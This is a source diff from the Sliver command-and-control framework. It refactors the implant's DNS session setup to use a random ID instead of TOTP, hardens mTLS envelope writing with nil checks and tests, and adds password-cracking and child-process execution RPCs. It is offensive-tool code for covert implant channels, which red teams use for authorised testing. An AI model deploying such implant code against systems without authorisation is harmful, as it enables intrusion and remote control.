// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Fetching dns session id via '%s' ...", otpDomain)
|
||||
// {{end}}
|
||||
|
||||
var a []byte
|
||||
for _, resolver := range s.resolvers {
|
||||
a, _, err = resolver.A(otpDomain)
|
||||
if err == nil {
|
||||
break
|
||||
func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
|
||||
// sessionID is 24-bit and must be non-zero.
|
||||
randBuf := make([]byte, 4)
|
||||
for {
|
||||
_, err := rand.Read(randBuf)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
sid := binary.LittleEndian.Uint32(randBuf) & sessionIDBitMask
|
||||
if sid != 0 {
|
||||
return sid, nil
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return err // All resolvers failed
|
||||
}
|
||||
if len(a) < 1 {
|
||||
return errInvalidDNSSessionID
|
||||
}
|
||||
s.dnsSessionID = binary.LittleEndian.Uint32(a) & sessionIDBitMask
|
||||
if s.dnsSessionID == 0 {
|
||||
return errInvalidDNSSessionID
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] dns session id: %d", s.dnsSessionID)
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) loadResolvConf() error {
|
||||
@@ -847,6 +837,24 @@ func (s *SliverDNSClient) loadResolvConf() error {
|
||||
return err
|
||||
}
|
||||
|
||||
func splitResolverAddress(server string, defaultPort string) (string, string) {
|
||||
server = strings.TrimSpace(server)
|
||||
if server == "" {
|
||||
return "", defaultPort
|
||||
}
|
||||
|
||||
// Allow tests/operators to specify an explicit port, e.g. "127.0.0.1:5353"
|
||||
// or "[::1]:5353". Raw IPv6 addresses in resolv.conf typically do not include
|
||||
// a port and will fail SplitHostPort, in which case we fall back to defaultPort.
|
||||
if host, port, err := net.SplitHostPort(server); err == nil {
|
||||
return host, port
|
||||
}
|
||||
if strings.HasPrefix(server, "[") && strings.HasSuffix(server, "]") {
|
||||
return strings.TrimSuffix(strings.TrimPrefix(server, "["), "]"), defaultPort
|
||||
}
|
||||
return server, defaultPort
|
||||
}
|
||||
|
||||
// Joins subdata to the parent domain, you must have already done the math to
|
||||
// ensure the subdata can fit in the domain
|
||||
func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
|
||||
@@ -893,19 +901,6 @@ func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
|
||||
return string(msg), nil
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) otpMsg() (string, error) {
|
||||
otpMsg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_TOTP,
|
||||
ID: uint32(0), // Take advantage of the variable length encoding
|
||||
}
|
||||
data, err := proto.Marshal(otpMsg)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
msg, _ := s.base32.Encode(data)
|
||||
return string(msg), nil
|
||||
}
|
||||
|
||||
// fingerprintResolver - Fingerprints resolve to validate base32 transport.
|
||||
func (s *SliverDNSClient) fingerprintResolvers() {
|
||||
wg := &sync.WaitGroup{}
|
||||
|
||||
@@ -230,28 +230,17 @@ func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.E
|
||||
}
|
||||
}
|
||||
|
||||
func TestOTPMsgRoundTrip(t *testing.T) {
|
||||
func TestRandomDNSSessionID(t *testing.T) {
|
||||
client := NewDNSClient(parent1, opts)
|
||||
encoded, err := client.otpMsg()
|
||||
sid, err := client.randomDNSSessionID()
|
||||
if err != nil {
|
||||
t.Fatalf("Unexpected otpMsg error: %s", err)
|
||||
t.Fatalf("Unexpected randomDNSSessionID error: %s", err)
|
||||
}
|
||||
if !isBase32String(encoded) {
|
||||
t.Fatalf("otpMsg contains non-base32 characters: %s", encoded)
|
||||
if sid == 0 {
|
||||
t.Fatal("expected non-zero dns session id")
|
||||
}
|
||||
raw, err := encoders.Base32{}.Decode([]byte(encoded))
|
||||
if err != nil {
|
||||
t.Fatalf("Unexpected otpMsg decode error: %s", err)
|
||||
}
|
||||
msg := &dnspb.DNSMessage{}
|
||||
if err := proto.Unmarshal(raw, msg); err != nil {
|
||||
t.Fatalf("Unexpected otpMsg unmarshal error: %s", err)
|
||||
}
|
||||
if msg.Type != dnspb.DNSMessageType_TOTP {
|
||||
t.Fatalf("Unexpected otpMsg type: %v", msg.Type)
|
||||
}
|
||||
if msg.ID != 0 {
|
||||
t.Fatalf("Unexpected otpMsg id: %d", msg.ID)
|
||||
if (sid & ^uint32(sessionIDBitMask)) != 0 {
|
||||
t.Fatalf("expected 24-bit session id, got: 0x%08x", sid)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"crypto/rand"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -44,7 +45,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
|
||||
retries = 1
|
||||
}
|
||||
return &GenericResolver{
|
||||
address: address + ":" + port,
|
||||
address: net.JoinHostPort(address, port),
|
||||
retries: retries,
|
||||
retryWait: retryWait,
|
||||
resolver: &dns.Client{
|
||||
|
||||
@@ -21,7 +21,6 @@ package mtls
|
||||
// {{if .Config.IncludeMTLS}}
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
@@ -30,6 +29,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"reflect"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -90,43 +90,77 @@ func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
|
||||
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
|
||||
}
|
||||
|
||||
func isNilInterface(v any) bool {
|
||||
if v == nil {
|
||||
return true
|
||||
}
|
||||
rv := reflect.ValueOf(v)
|
||||
switch rv.Kind() {
|
||||
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
|
||||
return rv.IsNil()
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func writeAll(w io.Writer, p []byte) error {
|
||||
for len(p) > 0 {
|
||||
n, err := w.Write(p)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n <= 0 {
|
||||
return io.ErrShortWrite
|
||||
}
|
||||
p = p[n:]
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
|
||||
// which is a fancy way of saying we write the length of the message then the message
|
||||
// e.g. [uint32 length|message] so the receiver can delimit messages properly
|
||||
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
|
||||
if envelope == nil {
|
||||
return errors.New("[mtls] nil envelope")
|
||||
}
|
||||
if isNilInterface(w) {
|
||||
return errors.New("[mtls] nil writer")
|
||||
}
|
||||
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Envelope marshaling error: ", err)
|
||||
// {{end}}
|
||||
return err
|
||||
return fmt.Errorf("[mtls] marshal envelope: %w", err)
|
||||
}
|
||||
|
||||
signingKey, keyID, err := mtlsEnvelopeSigningKey()
|
||||
if err != nil {
|
||||
return err
|
||||
return fmt.Errorf("[mtls] envelope signing key: %w", err)
|
||||
}
|
||||
rawSigBuf := make([]byte, cryptography.RawSigSize)
|
||||
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
|
||||
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
|
||||
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
|
||||
if _, werr := w.Write(rawSigBuf); werr != nil {
|
||||
return werr
|
||||
if werr := writeAll(w, rawSigBuf); werr != nil {
|
||||
return fmt.Errorf("[mtls] write raw signature: %w", werr)
|
||||
}
|
||||
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
|
||||
var dataLengthBuf [4]byte
|
||||
binary.LittleEndian.PutUint32(dataLengthBuf[:], uint32(len(data)))
|
||||
if werr := writeAll(w, dataLengthBuf[:]); werr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Error writing data length: ", werr)
|
||||
// {{end}}
|
||||
return werr
|
||||
return fmt.Errorf("[mtls] write data length: %w", werr)
|
||||
}
|
||||
if _, werr := w.Write(data); werr != nil {
|
||||
if werr := writeAll(w, data); werr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Error writing data: ", werr)
|
||||
// {{end}}
|
||||
return werr
|
||||
return fmt.Errorf("[mtls] write data: %w", werr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
package mtls
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/tls"
|
||||
"testing"
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func TestWriteEnvelope_NilEnvelope(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err := WriteEnvelope(&buf, nil); err == nil {
|
||||
t.Fatalf("expected error for nil envelope")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteEnvelope_NilWriter(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Fatalf("WriteEnvelope panicked: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
if err := WriteEnvelope(nil, &pb.Envelope{}); err == nil {
|
||||
t.Fatalf("expected error for nil writer")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteEnvelope_NilTLSConnWriter(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Fatalf("WriteEnvelope panicked: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
var conn *tls.Conn
|
||||
if err := WriteEnvelope(conn, &pb.Envelope{}); err == nil {
|
||||
t.Fatalf("expected error for nil *tls.Conn writer")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package transports
|
||||
|
||||
import "reflect"
|
||||
|
||||
// isNilInterface returns true if v is nil, or if v is an interface value holding a nil pointer.
|
||||
func isNilInterface(v any) bool {
|
||||
if v == nil {
|
||||
return true
|
||||
}
|
||||
rv := reflect.ValueOf(v)
|
||||
switch rv.Kind() {
|
||||
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
|
||||
return rv.IsNil()
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -25,7 +25,9 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"errors"
|
||||
"strconv"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -45,8 +47,6 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeWG}}
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
|
||||
@@ -257,6 +257,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if conn == nil {
|
||||
errMsg := ""
|
||||
// {{if .Config.Debug}}
|
||||
errMsg = "mtls connection returned nil conn"
|
||||
// {{end}}
|
||||
return errors.New(errMsg)
|
||||
}
|
||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||
conn.Close()
|
||||
return err
|
||||
@@ -266,6 +273,14 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
conn.Close()
|
||||
return err
|
||||
}
|
||||
if muxSession == nil {
|
||||
conn.Close()
|
||||
errMsg := ""
|
||||
// {{if .Config.Debug}}
|
||||
errMsg = "[mtls] failed to create yamux session (nil)"
|
||||
// {{end}}
|
||||
return errors.New(errMsg)
|
||||
}
|
||||
connection.IsOpen = true
|
||||
|
||||
go func() {
|
||||
@@ -292,6 +307,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
|
||||
connection.Cleanup()
|
||||
@@ -315,6 +334,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := mtls.WritePing(stream); err != nil {
|
||||
connection.Cleanup()
|
||||
@@ -346,6 +369,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return
|
||||
}
|
||||
|
||||
select {
|
||||
case streamSem <- struct{}{}:
|
||||
|
||||
@@ -1,83 +0,0 @@
|
||||
package yamuxtest
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/hashicorp/yamux"
|
||||
)
|
||||
|
||||
func TestYamuxConcurrentStreams(t *testing.T) {
|
||||
serverConn, clientConn := net.Pipe()
|
||||
serverSession, err := yamux.Server(serverConn, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("server session: %v", err)
|
||||
}
|
||||
defer serverSession.Close()
|
||||
|
||||
clientSession, err := yamux.Client(clientConn, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("client session: %v", err)
|
||||
}
|
||||
defer clientSession.Close()
|
||||
|
||||
const streams = 16
|
||||
payloads := make([][]byte, streams)
|
||||
for i := 0; i < streams; i++ {
|
||||
payloads[i] = []byte(fmt.Sprintf("stream=%d payload=%s", i, bytes.Repeat([]byte{byte('a' + i)}, 4096)))
|
||||
}
|
||||
|
||||
var openWg sync.WaitGroup
|
||||
openWg.Add(streams)
|
||||
for i := 0; i < streams; i++ {
|
||||
i := i
|
||||
go func() {
|
||||
defer openWg.Done()
|
||||
stream, err := clientSession.Open()
|
||||
if err != nil {
|
||||
t.Errorf("open stream %d: %v", i, err)
|
||||
return
|
||||
}
|
||||
_, err = stream.Write(payloads[i])
|
||||
_ = stream.Close()
|
||||
if err != nil {
|
||||
t.Errorf("write stream %d: %v", i, err)
|
||||
return
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
openWg.Wait()
|
||||
|
||||
wantSet := map[string]struct{}{}
|
||||
for _, p := range payloads {
|
||||
wantSet[string(p)] = struct{}{}
|
||||
}
|
||||
|
||||
gotSet := map[string]struct{}{}
|
||||
for i := 0; i < streams; i++ {
|
||||
stream, err := serverSession.Accept()
|
||||
if err != nil {
|
||||
t.Fatalf("accept stream %d: %v", i, err)
|
||||
}
|
||||
b, err := io.ReadAll(stream)
|
||||
_ = stream.Close()
|
||||
if err != nil {
|
||||
t.Fatalf("read stream %d: %v", i, err)
|
||||
}
|
||||
gotSet[string(b)] = struct{}{}
|
||||
}
|
||||
|
||||
if len(gotSet) != len(wantSet) {
|
||||
t.Fatalf("unexpected payload count: got=%d want=%d", len(gotSet), len(wantSet))
|
||||
}
|
||||
for want := range wantSet {
|
||||
if _, ok := gotSet[want]; !ok {
|
||||
t.Fatalf("missing payload: %q", want)
|
||||
}
|
||||
}
|
||||
}
|
||||
+650
-460
File diff suppressed because it is too large.
Load diff
@@ -1272,6 +1272,21 @@ message CrackCommand {
|
||||
string BrainSessionWhitelist = 113;
|
||||
}
|
||||
|
||||
message CrackJob {
|
||||
string ID = 1;
|
||||
string CreatedAt = 2;
|
||||
string CompletedAt = 3;
|
||||
CrackJobStatus Status = 4;
|
||||
string Err = 5;
|
||||
|
||||
CrackCommand Command = 7;
|
||||
string ResultFileID = 8;
|
||||
}
|
||||
|
||||
message CrackResponse {
|
||||
CrackJob Job = 1;
|
||||
}
|
||||
|
||||
message CrackConfig {
|
||||
bool AutoFire = 1;
|
||||
int64 MaxFileSize = 2;
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc v6.33.4
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
+13
-20
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc v6.33.4
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
@@ -24,7 +24,6 @@ type DNSMessageType int32
|
||||
|
||||
const (
|
||||
DNSMessageType_NOP DNSMessageType = 0 // aka FINGERPRINT
|
||||
DNSMessageType_TOTP DNSMessageType = 1
|
||||
DNSMessageType_INIT DNSMessageType = 2
|
||||
DNSMessageType_POLL DNSMessageType = 3
|
||||
DNSMessageType_CLOSE DNSMessageType = 4
|
||||
@@ -38,7 +37,6 @@ const (
|
||||
var (
|
||||
DNSMessageType_name = map[int32]string{
|
||||
0: "NOP",
|
||||
1: "TOTP",
|
||||
2: "INIT",
|
||||
3: "POLL",
|
||||
4: "CLOSE",
|
||||
@@ -49,7 +47,6 @@ var (
|
||||
}
|
||||
DNSMessageType_value = map[string]int32{
|
||||
"NOP": 0,
|
||||
"TOTP": 1,
|
||||
"INIT": 2,
|
||||
"POLL": 3,
|
||||
"CLOSE": 4,
|
||||
@@ -89,10 +86,7 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
|
||||
//
|
||||
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
//depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//[Type TOTP]: ID field is used for the TOTP code
|
||||
//
|
||||
//depending on the DNSMessageType.
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -194,19 +188,18 @@ var file_dnspb_dns_proto_rawDesc = []byte{
|
||||
0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x12, 0x0a, 0x04,
|
||||
0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65,
|
||||
0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04,
|
||||
0x44, 0x61, 0x74, 0x61, 0x2a, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
|
||||
0x44, 0x61, 0x74, 0x61, 0x2a, 0x83, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
|
||||
0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f, 0x50, 0x10, 0x00,
|
||||
0x12, 0x08, 0x0a, 0x04, 0x54, 0x4f, 0x54, 0x50, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e,
|
||||
0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09,
|
||||
0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12, 0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e,
|
||||
0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a, 0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f,
|
||||
0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x07, 0x12, 0x15, 0x0a, 0x11,
|
||||
0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e,
|
||||
0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45, 0x41, 0x52, 0x10, 0x09, 0x42, 0x2c,
|
||||
0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73,
|
||||
0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72,
|
||||
0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72,
|
||||
0x6f, 0x74, 0x6f, 0x33,
|
||||
0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e, 0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f,
|
||||
0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12,
|
||||
0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e, 0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a,
|
||||
0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54,
|
||||
0x10, 0x07, 0x12, 0x15, 0x0a, 0x11, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f,
|
||||
0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45,
|
||||
0x41, 0x52, 0x10, 0x09, 0x22, 0x04, 0x08, 0x01, 0x10, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69,
|
||||
0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66,
|
||||
0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,
|
||||
0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
@@ -4,7 +4,7 @@ option go_package = "github.com/bishopfox/sliver/protobuf/dnspb";
|
||||
|
||||
enum DNSMessageType {
|
||||
NOP = 0; // aka FINGERPRINT
|
||||
TOTP = 1;
|
||||
reserved 1; // formerly TOTP
|
||||
INIT = 2;
|
||||
POLL = 3;
|
||||
CLOSE = 4;
|
||||
@@ -17,10 +17,7 @@ enum DNSMessageType {
|
||||
|
||||
/*
|
||||
NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
depending on the DNSMessageType as noted below:
|
||||
|
||||
[Type TOTP]: ID field is used for the TOTP code
|
||||
|
||||
depending on the DNSMessageType.
|
||||
*/
|
||||
message DNSMessage {
|
||||
DNSMessageType Type = 1;
|
||||
@@ -29,4 +26,4 @@ message DNSMessage {
|
||||
uint32 Stop = 4; // Bytes stop at
|
||||
uint32 Size = 5; // Total size
|
||||
bytes Data = 6; // Actual data
|
||||
}
|
||||
}
|
||||
+1005
-989
File diff suppressed because it is too large.
Load diff
@@ -112,6 +112,7 @@ service SliverRPC {
|
||||
returns (clientpb.CertificateAuthorityInfo);
|
||||
|
||||
// *** Crackstation ***
|
||||
rpc Crack(clientpb.CrackCommand) returns (clientpb.CrackResponse);
|
||||
rpc CrackstationRegister(clientpb.Crackstation)
|
||||
returns (stream clientpb.Event);
|
||||
rpc CrackstationTrigger(clientpb.Event) returns (commonpb.Empty);
|
||||
@@ -195,6 +196,7 @@ service SliverRPC {
|
||||
rpc Migrate(clientpb.MigrateReq) returns (sliverpb.Migrate);
|
||||
rpc Execute(sliverpb.ExecuteReq) returns (sliverpb.Execute);
|
||||
rpc ExecuteWindows(sliverpb.ExecuteWindowsReq) returns (sliverpb.Execute);
|
||||
rpc ExecuteChildren(sliverpb.ExecuteChildrenReq) returns (sliverpb.ExecuteChildren);
|
||||
rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
|
||||
rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
|
||||
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
|
||||
|
||||
@@ -98,6 +98,7 @@ type SliverRPCClient interface {
|
||||
GetCertificateInfo(ctx context.Context, in *clientpb.CertificatesReq, opts ...grpc.CallOption) (*clientpb.CertificateInfo, error)
|
||||
GetCertificateAuthorityInfo(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.CertificateAuthorityInfo, error)
|
||||
// *** Crackstation ***
|
||||
Crack(ctx context.Context, in *clientpb.CrackCommand, opts ...grpc.CallOption) (*clientpb.CrackResponse, error)
|
||||
CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error)
|
||||
CrackstationTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
CrackstationBenchmark(ctx context.Context, in *clientpb.CrackBenchmark, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
@@ -169,6 +170,7 @@ type SliverRPCClient interface {
|
||||
Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error)
|
||||
Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
||||
ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
||||
ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error)
|
||||
Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
|
||||
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
|
||||
@@ -823,6 +825,15 @@ func (c *sliverRPCClient) GetCertificateAuthorityInfo(ctx context.Context, in *c
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Crack(ctx context.Context, in *clientpb.CrackCommand, opts ...grpc.CallOption) (*clientpb.CrackResponse, error) {
|
||||
out := new(clientpb.CrackResponse)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Crack", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) {
|
||||
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], "/rpcpb.SliverRPC/CrackstationRegister", opts...)
|
||||
if err != nil {
|
||||
@@ -1458,6 +1469,15 @@ func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.Execu
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error) {
|
||||
out := new(sliverpb.ExecuteChildren)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteChildren", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error) {
|
||||
out := new(sliverpb.Sideload)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Sideload", in, out, opts...)
|
||||
@@ -2110,6 +2130,7 @@ type SliverRPCServer interface {
|
||||
GetCertificateInfo(context.Context, *clientpb.CertificatesReq) (*clientpb.CertificateInfo, error)
|
||||
GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error)
|
||||
// *** Crackstation ***
|
||||
Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error)
|
||||
CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error
|
||||
CrackstationTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error)
|
||||
